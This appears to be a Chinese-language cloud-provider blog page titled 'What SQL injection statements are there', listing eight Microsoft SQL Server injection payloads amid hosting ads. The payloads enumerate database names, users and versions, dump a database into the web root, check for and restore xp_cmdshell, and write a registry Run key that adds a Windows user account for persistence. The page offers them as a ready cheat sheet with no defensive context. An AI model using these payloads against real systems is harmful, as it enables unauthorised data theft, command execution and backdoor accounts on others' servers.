sql注入语句有哪些

620
2020/12/16 10:17:44
栏目: 云计算
开发者测试专用服务器限时活动,0元免费领,库存有限,领完即止! 点击查看>>

sql注入语句有哪些

sql注入语句有:

1、返回的是连接的数据库名:

and db_name()>0

2、获取连接用户名:

and user>0

3、将数据库备份到Web目录下面:

;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--

4、显示SQL系统版本:

and 1=(select @@VERSION) 或and 1=convert(int,@@version)--

5、判断xp_cmdshell扩展存储过程是否存在:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')

6、恢复xp_cmdshell扩展存储的命令:

;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--

7、向启动组中写入命令行和执行程序:

;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\

Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'

8、查看当前的数据库名称:

and 0 <> db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())--

辰迅云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>

推荐阅读: sql中union多表合并怎么实现